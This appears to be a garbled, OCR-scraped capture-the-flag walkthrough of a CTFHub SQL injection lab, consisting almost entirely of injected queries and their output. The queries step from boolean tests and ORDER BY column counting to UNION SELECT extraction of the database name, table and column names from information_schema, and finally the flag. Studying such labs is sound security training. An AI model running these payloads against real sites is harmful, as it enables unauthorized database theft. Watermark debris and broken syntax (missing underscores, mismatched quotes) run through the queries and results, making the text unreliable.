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select * from news where id=1
ID: 1
Data: ctfhub
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select * from news where id=1 and 1=1
ID: 1
Data: ctthub  copyeessmmins

select * from news where id=1 and 1=2
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select * from news where id ='1 and 1=1'
select * from news where id = '1 and 1=2'
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select * from news where id=1 order by 2
ID: 1
Data: ctfthub GSDN @EEFTHEF
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select * from news where id=1 order by 3
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select * from news where id=3 union select 1,database()
ID: 1

Data: sqli CSDN @& IRiRF
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select * from news where id=3 union select 1,group_concat(table name) from information schema.tables where table schema='sqli’
ID: 1
Data: flag,news
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select * from news where id=3 union select 1,group concat(column_name) from information_schema.columns where table_schema='sqli’ and
table name='flag’
ID: 1
Data: flag CSDN @E3Z 7R
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select * from news where id=3 union select 1,group concat(flag) from sqli.flag
ID: 1
Data: ctfhub{e4878211f8ec485dcalb7fb1} .o @ 3L ] R R
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http://localhost/phpmyadmin/index.php?route=/database/structure&server=1&db=information_schema
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